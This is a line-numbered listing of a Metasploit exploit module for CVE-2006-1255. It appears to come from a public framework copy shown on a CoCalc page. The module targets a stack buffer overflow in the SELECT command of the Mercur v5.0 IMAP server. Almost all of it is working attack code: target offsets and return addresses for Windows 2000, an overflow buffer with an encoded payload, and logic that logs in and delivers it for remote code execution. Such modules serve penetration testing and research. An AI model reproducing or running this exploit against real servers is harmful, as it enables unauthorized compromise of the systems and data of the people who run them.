CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Imap
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',
14
      'Description'    => %q{
15
          Mercur v5.0 IMAP server is prone to a remotely exploitable
16
        stack-based buffer overflow vulnerability. This issue is due
17
        to a failure of the application to properly bounds check
18
        user-supplied data prior to copying it to a fixed size memory buffer.
19
        Credit to Tim Taylor for discover the vulnerability.
20
      },
21
      'Author'         => [ 'Jacopo Cervini <acaro[at]jervus.it>' ],
22
      'License'        => BSD_LICENSE,
23
      'References'     =>
24
        [
25
          [ 'CVE', '2006-1255' ],
26
          [ 'OSVDB', '23950' ],
27
          [ 'BID', '17138' ],
28
        ],
29
      'Privileged'     => true,
30
      'DefaultOptions' =>
31
        {
32
          'EXITFUNC' => 'process',
33
        },
34
      'Payload'        =>
35
        {
36
          'Space'    => 400,
37
          'BadChars' => "\x00",
38
          'StackAdjustment' => -3500,
39

40
        },
41
      'Platform'       => 'win',
42
      'Targets'        =>
43
        [
44
          ['Windows 2000 Server SP4 English',  { 'Offset' => 126, 'Ret' => 0x13e50b42 }],
45
          ['Windows 2000 Pro SP1 English',     { 'Offset' => 127, 'Ret' => 0x1446e242 }],
46
        ],
47
      'DefaultTarget'  => 0,
48
      'DisclosureDate' => '2006-03-17'))
49

50
  end
51

52
  def exploit
53
    sploit =  "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"
54
    sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])
55
    sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)
56
    sploit << payload.encoded + rand_text_alpha_upper(453)
57

58
    info = connect_login
59

60
    if (info == true)
61
      print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)
62
      sock.put(sploit + "\r\n")
63
    else
64
      print_status("Not falling through with exploit")
65
    end
66

67
    handler
68
    disconnect
69
  end
70
end
71

72